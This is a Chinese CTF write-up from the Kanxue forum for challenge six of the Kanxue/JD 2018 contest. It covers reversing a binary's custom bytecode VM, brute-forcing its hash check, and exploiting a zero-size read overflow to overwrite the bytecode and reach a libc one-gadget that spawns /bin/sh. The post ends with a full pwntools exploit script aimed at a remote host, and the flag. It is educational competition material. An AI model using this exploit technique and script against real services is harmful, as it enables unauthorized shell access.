-
-
[原创]看雪.京东 2018CTF-第六题分析
-
发表于: 2018-6-27 11:22 2628
-
整个程序分下面几个过程
1、爆破hash,过掉第一次验证。
2、从终端读取malloc数据时,读取大小是输入的size-1,当size=0,可读取0xFF大小的数据。产生溢出。
3、有一段自定义的指令数据,可被上面读到的数据覆盖。
4、通过分析自定义执行指令格式,构造指令代码片段,替换原始代码片段,拿到shell。
代码中还有个alarm(60)过了时间,程序就会自动终止,要求爆破的时间必须在1分钟内。
一、查看下程序安全属性
12345
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
可以看出保护基本上全开了。二、使用one_gadget获取拿到shell地址
123456789101112131415160x45216 execve(
"/bin/sh"
, rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve(
"/bin/sh"
, rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve(
"/bin/sh"
, rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve(
"/bin/sh"
, rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
call_execve = 0x4526a;
初步选取0x4526a地址为 getShell_offset地址。([esp+0x30]必须为0)
三、初始化函数 sub_CB5
IDA载入后发现存在初始化数组,有2个函数sub_C80和sub_CB5,其中 sub_C80没干啥, sub_CB5函数功能如下:
1、使用随机数对sub_15E4等函数地址进行异或,并存储在全局变量中。异或是为了混淆,存储在全局变量是为了简洁的自定义指令引擎使用的。
sub_15E4 函数-----------------申请空间(输入申请大小,输入存储的内容)。
sub_16AD函数-----------------显示malloc的内容(实际没有)。
loc_1478指针 ----------------- 为自定义指令引擎使用,当用户执行完一个操作时,回到选择操作位置。
loc_1107指针 ----------------- 自定义指令引擎起始位置,用于混淆跳转和偏移计算。
2、下面两条指令是给自定义的指令数据初始化,主要的作用是根据用户输入跳转到相应的处理函数中。
qword_203140 = 0x106040F01130301LL;
qword_203148 = 0x4000161302011409LL;
1234567891011121314151617181920212223unsigned
__int64
sub_CB5()
{
signed
int
i;
// [rsp+8h] [rbp-28h]
int
fd;
// [rsp+Ch] [rbp-24h]
unsigned
__int64
v3;
// [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open(
"/dev/urandom"
, 0);
for
( i = 0; i <= 4; ++i )
read(fd, (
char
*)qword_2030C0 - 64LL - 8 * i, 8uLL);
unk_2030A8 = unk_203080 ^ (unsigned
__int64
)sub_15E4;
unk_2030A0 = unk_203078 ^ (unsigned
__int64
)sub_16AD;
unk_203098 = unk_203070 ^ (unsigned
__int64
)sub_1728;
unk_203090 = unk_203068 ^ (unsigned
__int64
)&loc_1478;
unk_203088 = unk_203060 ^ (unsigned
__int64
)&loc_1107;
qword_203140 = 0x106040F01130301LL;
qword_203148 = 0x4000161302011409LL;
dword_203150 = 0;
word_203154 = 0;
byte_203156 = 0;
close(fd);
return
__readfsqword(0x28u) ^ v3;
}
四、main函数其中sub_E87用于屏幕输出,sub_F0C函数用于hash验证,sub_1470函数是用于内存申请、显示、释放等操作。五、过hash验证先产生一个4字节的随机数,然后通过计算获得8个字节数据s,再算其hash,并将hash值打印输出,需要通过hash获得s,输入s,可通过验证。随机数产生时,每个字节x存在如下条件: 0x30 <= x < 0x5B,可爆破过验证。具体脚本如下:
12345678910111213141516171819202122232425262728293031323334def getkey(target):
a = 0x30303030
#a = 0x3c3b4e4b
while
(a <= 0x5A5A5A5A) :
s1 = (0x343FD * a + 0x269EC3)&0xffffffff
s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
s = (s2<<32) + s1
hash = 0
i = 0;
temp = s
while
(i < 8):
hash = ((hash*0x83) + (temp&0xff))&0xffffffff
temp = temp >> 8
i=i+1
if
(target == hash):
'find ok'
return
s
if
((a & 0xff) < 0x5A):
a=a+1
continue
a = (a & 0xffffff00) + 0x30;
temp = (a & 0xff00) >> 8
if
(temp < 0x5A):
a = a + 0x0100
continue
a = (a & 0xffff00ff) + 0x3000
temp = (a & 0xff0000) >> 16
if
(temp < 0x5A) :
a = a + 0x010000
continue
a = (a & 0xff00ffff) + 0x300000;
a = a + 0x01000000;
return
0
六、操作函数sub_14701、代码混淆函数sub_1470通过jmp eax形式进行混淆,eax的实际位置是0x1107,可以手动将jmp eax改成 jmp 1107,但更改后会将下面指令覆盖,可在0x14E5位置更改,让其跳转到10EF位置,将0x14E5的指令" sub rsp, 88h"挪到 10EF位置。还原后代码如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143void
*__ptr32 *sub_1470()
{
void
*__ptr32 *result;
// rax
__int64
v1;
// ST08_8
__int64
v2;
// ST00_8
__int64
v3;
// [rsp+58h] [rbp-20h]
__int64
v4;
// [rsp+60h] [rbp-18h]
unsigned
int
v5;
// [rsp+74h] [rbp-4h]
sub_1591();
v5 = sub_1547();
result = (
void
*__ptr32 *)v5;
if
( v5 )
{
result = (
void
*__ptr32 *)v5;
if
( v5 <= 3 )
{
v1 = qword_2030C0[~((unsigned
__int8
)v5 - 1LL) - 7] ^ qword_2030C0[~((unsigned
__int8
)v5 - 1LL) - 2];
v4 = qword_2030C0[-11] ^ qword_2030C0[-6];
v2 = qword_2030C0[-7] ^ qword_2030C0[-12];
result = sub_10FE((
__int64
)&v3);
}
}
return
result;
}
void
*__ptr32 *__usercall sub_10FE@<rax>(
__int64
a1@<rbp>)
{
__int64
v1;
// rt1
void
*__ptr32 *result;
// rax
signed
__int64
v3;
// rax
*(_QWORD *)(a1 - 64) = 0LL;
*(_QWORD *)(a1 - 16) = 0LL;
*(_QWORD *)(a1 - 48) = 0LL;
*(_QWORD *)(a1 - 8) = 0LL;
*(_QWORD *)(a1 - 40) = 0LL;
*(_QWORD *)(a1 - 56) = 0LL;
*(_QWORD *)(a1 - 32) = 0LL;
*(_QWORD *)(a1 - 24) = 0LL;
while
( 1 )
{
// qword_203140 = 0x106040F01130301LL;
// qword_203148 = 0x4000161302011409LL;
*(_QWORD *)(a1 - 0x10) = *((
char
*)&qword_203140 + *(_QWORD *)(a1 - 0x40));
v1 = *(_QWORD *)(a1 - 0x10);
result = off_1A1C;
switch
( a1 )
{
case
1LL:
*(_QWORD *)(a1 - 0x30) = *((unsigned
__int8
*)&qword_203140 + *(_QWORD *)(a1 - 0x40) + 1);
*(_QWORD *)(a1 - 0x40) += 2LL;
break
;
case
2LL:
*(_QWORD *)(a1 - 0x28) = *((unsigned
__int8
*)&qword_203140 + *(_QWORD *)(a1 - 0x30));
++*(_QWORD *)(a1 - 0x40);
break
;
case
3LL:
*(_QWORD *)(a1 - 0x38) = *(
__int64
*)((
char
*)&qword_203140 + *(_QWORD *)(a1 - 0x30));
++*(_QWORD *)(a1 - 0x40);
break
;
case
4LL:
*(_QWORD *)(a1 - 0x20) = *(
__int64
*)((
char
*)&qword_203140 + *(_QWORD *)(a1 - 0x30));
++*(_QWORD *)(a1 - 0x40);
break
;
case
5LL:
*(_QWORD *)(a1 - 0x38) -= *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 64);
break
;
case
6LL:
*(_QWORD *)(a1 - 0x38) += *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 64);
break
;
case
7LL:
*(_QWORD *)(a1 - 0x38) *= *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 0x40);
break
;
case
8LL:
*(_QWORD *)(a1 - 0x38) /= *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 0x40);
break
;
case
9LL:
*(_QWORD *)(a1 - 0x38) ^= *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 0x40);
break
;
case
10LL:
*(_QWORD *)(a1 - 0x38) &= *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 64);
break
;
case
11LL:
*(_QWORD *)(a1 - 0x38) |= *(_QWORD *)(a1 - 32);
++*(_QWORD *)(a1 - 64);
break
;
case
12LL:
*(_QWORD *)(a1 - 0x18) = *(_QWORD *)(a1 - 0x38) != *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 64);
break
;
case
13LL:
if
( *(_QWORD *)(a1 - 0x18) )
v3 = *(_QWORD *)(a1 - 0x40) + 2LL;
else
v3 = *((unsigned
__int8
*)&qword_203140 + *(_QWORD *)(a1 - 0x40));
*(_QWORD *)(a1 - 0x40) = v3;
break
;
case
14LL:
*(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x28);
++*(_QWORD *)(a1 - 64);
break
;
case
15LL:
*(_QWORD *)(a1 - 0x20) = *(_QWORD *)(a1 - 0x28);
++*(_QWORD *)(a1 - 64);
break
;
case
16LL:
*(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x38);
++*(_QWORD *)(a1 - 64);
break
;
case
17LL:
*(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 64);
break
;
case
18LL:
*(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x20);
++*(_QWORD *)(a1 - 0x40);
break
;
case
19LL:
*(_QWORD *)(a1 - 0x38) = *(_QWORD *)(-8LL * *(_QWORD *)(a1 - 0x30) + a1 - 0x40);
++*(_QWORD *)(a1 - 0x40);
break
;
case
20LL:
*(_QWORD *)(a1 - 0x40 - 8LL * *(_QWORD *)(a1 - 0x30)) = *(_QWORD *)(a1 - 0x38);
++*(_QWORD *)(a1 - 64);
break
;
case
21LL:
++*(_QWORD *)(a1 - 0x28);
++*(_QWORD *)(a1 - 0x40);
break
;
case
22LL:
++*(_QWORD *)(a1 - 0x40);
JUMPOUT(__CS__, *(_QWORD *)(a1 - 0x38));
return
result;
default
:
return
result;
}
}
}
2、自定义执行引擎分析14EF,实际上是个精简的自定义指令执行引擎,具体指令格式如下;
123456789101112131415161718192021222324252627282930313233343536371)寄存器
=============================================================================================================================
startCodeAddr = 0x203140 自定义指令代码开始位置
curOffset = rbp - 0x40 存储当前执行位置索引
pc = startCodeAddr+curOffset 当前pc
varStart = rbp - 0x40 可以修改的寄存器的基址(向上修改)
r0 = rbp - 0x38 通用寄存器
r1 = rbp - 0x30 通用寄存器
r2 = rbp - 0x28 通用寄存器
r3 = rbp - 0x20 通用寄存器
r4 = rbp - 0x18 通用寄存器
=============================================================================================================================
操作码 指令长度 含义 备注
-----------------------------------------------------------------------------------------------------------------------------
0x01 2 r1 = byte[pc + 1] 从代码段读取一个字节得r1
0x02 1 r2 = byte[startCodeAddr + r1] 从代码段[pc + r1]读取一个字节到r2
0x03 1 r0 = QWORD[startCodeAddr + r1] 从代码段[pc + r1]读取双字到r0
0x04 1 r3 = QWORD[startCodeAddr + r1] 从代码段[pc + r1]读取双字到r3
0x05 1 r0 = r0 - r3
0x06 1 r0 = r0 + r3
0x07 1 r0 = r0 * r3
0x08 1 r0 = r0 / r3
0x09 1 r0 = r0 ^ r3
0x0A 1 r0 = r0 & r3
0x0B 1 r0 = r0 | r3
0x0C 1 r4 = (r0 != r3)
0x0D 1 jnz 跳转指令
0x0e 1 r0 = QWORD r2
0x0f 1 r3 = QWORD r2
0x10 1 r2 = QWORD r0
0x11 1 r2 = QWORD r3
0x12 1 r0 = QWORD r3
0x13 1 r0 = QWORD[varStart - r1*8] 从堆栈中按照索引读取数据到r0
0x14 1 [varStart - r1*8] = r0 将r0的内容写到堆栈中
0x15 1 r2++
0x16 1 call r0 调用现实中的函数
=============================================================================================================================
3、自定义指令数据字节码的指令数据地址为0x203140,并且在初始化函数中赋值为:01 03 13 01 F 04 06 01 09 14 01 02 13 16 00 40 ,下面是根据上面的指令含义对其分析:
12345678910111213pc = 0x203140
[varStart - 2*8] = 0x15E4 ;根据输入索引,选择不同处理函数,这里输入为1,15E4为申请空间处理函数
01 03 r1 = byte[pc + 1] ;r1=3
13 r0 = [varStart - r1*8] = 0x1107 ;自定义指令执行引擎开始位置
01 0F r1 = byte[pc + 1] ;r1=0F
04 r3 = QWORD[0x203140+r1] ;r3 = QWORD[0x203140 + 0x0f] = 0x40
06 r0 = r0 + r3 ;0x1107 + 0x40 = 0x1147
01 r1 = byte[pc + 1] ;r1=9
14 [varStart - [r1]*8] = r0 ;[varStart - 0x40] = 0x1147,构造从现实函数返回的地址
01 r1 = byte[pc + 1] ;r1=2
13 r0 = [varStart - 2*8] = 0x15E4 ;获得要调用的现实函数地址
16 call 0x15E4 ;调用申请空间出来函数
00 jmp 0x1478 ;跳转主循环等待用户输入
七、漏洞发现程序存在 内存申请、字符拷贝、内存释放等系统调用,但是分析一遍后,没发现太多漏洞,但是发现 sub_15E4中存在一个全局变量溢出漏洞。sub_15E4为堆申请函数,其主要流程如下:1、输入申请的size2、判断size是否大于0x80,大于则退出,否则malloc。3、从终端读取size-1个数据到全局buf_2030C0中。4、将数据从buf_2030C0拷贝到malloc地址中。5、将malloc指针和size赋给全局变量203240 和203248这里存在一个漏洞当输入的size为0时,将从终端读取0xFF大小数据到全局变量2030C0,而前面的自定义的指令数据的位置为x203140,其与2030C0相差0x80, 构造payload,并覆盖0x203140,将我们构造的自定义指令覆盖原始的指令。八、漏洞利用自定义指令存在如下指令:a) 将自定义指令数据写入到寄存器(堆栈)的指令,比如0x02\0x03\0x04相关指令b) 也存在call 寄存器(堆栈)的指令。比如 0x16指令。因此如果将执行 getShell_addr的地址放入r0中,然后使其执行0x16指令就可以直接执行如下指令,从而拿到shell。0x4526a execve("/bin/sh", rsp+0x30, environ)1、获取内存中的 getShell_addr地址
通过IDA调试,看下图
可以看到在执行字节码程序时,堆栈中存在多个libc.so库的地址,比如:libc.write+0x10的地址位于 rbp - 0x40 - 0x0d*8的位置。因此我们可以通过构造自定义指令将libc.write+0x10地址读取到通用寄存器中,由于给出了libc.so,可知write+0x10的地址为:0xF72C0,因此可以计算出: get_shell_addr_offset = 0xF72C0 - 4526a =0xB2056。可以事前将 0xB2056放到payload中,然后使用0x14指令即可以使得r0 = :get_shell_addr的真实地址。然后执行0x16指令就可以拿到shell。2、构造payload1) 将[esp+0x30] = 0。2) r0 = 内存中write+0x10的值。3) r3 = get_shell地址与 write+0x10的偏移。4) r0 = r0 - r3 = 内存 get_shell地址。5) call r0 拿到shell。覆盖原始自定义指令的数据为:'\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00',整个pyload为:payload = 'A'*0x80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'下面是指令的具体说明:
1234567891011121314151617181920212223//0x203140 = {01 03 14 01 0D 13 01 0B 04 05 16 56 20 0B 00 00}
//初始化时,r0 = 0, pc = 0x203140
r0 = 0
pc = 0x203140
//[esp - 0x30] = 0
//[esp - 0x30] = varStart - 3*8
01 03 r1 = byte[0x203140 + 1] ;r1=3
14 [varStart - r1*8] = r0 ;[varStart - 3*8] = [esp - 0x30] = r0 (r0=0)
//r0 = write_addr+0x10地址
01 0d r1 = byte[pc + 1] ;r1=0d
13 r0 = [varStart - r1*8] ;r0 = [varStart - 0x0d*8] = write_addr+0x10
//r3 = execv_offset
01 0b r1 = byte[pc + 1] ;r1=0b
04 r3 = QWORD[startCodeAddr + r1] ;r3 = *(QWORD*(0x203140+0x0b)) = 0xb2016
//r0 = r0 - r3 = execv_addr
05 r0 = r0 + r3
//get shell
22 call r0
3、脚本如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788#!/usr/bin/python
from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
context(os=
'linux'
,arch=
'amd64'
)
print (
'==============================='
)
io = remote(
'139.199.99.130'
,8989)
#io = process('./noheap')
payload =
'A'
*0X80 +
'\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'
def getkey(target):
a = 0x30303030
#a = 0x3c3b4e4b
while
(a <= 0x5A5A5A5A) :
s1 = (0x343FD * a + 0x269EC3)&0xffffffff
s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
s = (s2<<32) + s1
hash = 0
i = 0;
temp = s
while
(i < 8):
hash = ((hash*0x83) + (temp&0xff))&0xffffffff
temp = temp >> 8
i=i+1
if
(target == hash):
'find ok'
return
s
if
((a & 0xff) < 0x5A):
a=a+1
continue
a = (a & 0xffffff00) + 0x30;
temp = (a & 0xff00) >> 8
if
(temp < 0x5A):
a = a + 0x0100
continue
a = (a & 0xffff00ff) + 0x3000
temp = (a & 0xff0000) >> 16
if
(temp < 0x5A) :
a = a + 0x010000
continue
a = (a & 0xff00ffff) + 0x300000;
a = a + 0x01000000;
return
0
inputString = io.recvuntil(
'Input'
)
#get hash from screen
hashStart = inputString.find(
'Hash:'
)
hashStart = hashStart+5
hashEnd = inputString.find(
'\n'
, hashStart)
aimhash = inputString[hashStart:hashEnd]
target =
int
(aimhash, 16)
#get inputkey by hash
"get hash, waiting!"
value = getkey(target)
print str(hex(value))
'put inputkey to server'
inputkeyPayload = p64(value)
sleep(1)
io.write(inputkeyPayload)
'select 1 for malloc'
io.recvuntil(
'Exit'
)
sleep(1)
io.write(
'1'
)
sleep(1)
'put 0 for malloc size,real can write 0xFF data to server'
io.recvuntil(
'Size'
)
sleep(1)
io.write(
'0'
)
'put payload data is saved at 0x2030C0'
io.recvuntil(
'Content'
)
sleep(1)
io.write(payload)
sleep(1)
'put 1 ,but pc will go to execv'
io.recvuntil(
'Exit'
)
sleep(2)
io.write(
'1'
)
io.interactive()
九、flagflag{4be6c278519a61e0176463bbd17a235a3}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2018-6-29 15:45
被oooAooo编辑
,原因:
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5831
- [原创]看雪CTF2019Q3第四题WP 6083
- [原创]看雪CTF2019Q3 第二题WP 6981
- [2019看雪CTF晋级赛Q3第九题WP 12717
- [原创]看雪CTF2019晋级赛Q2第三题 5161
赞赏
雪币:
留言: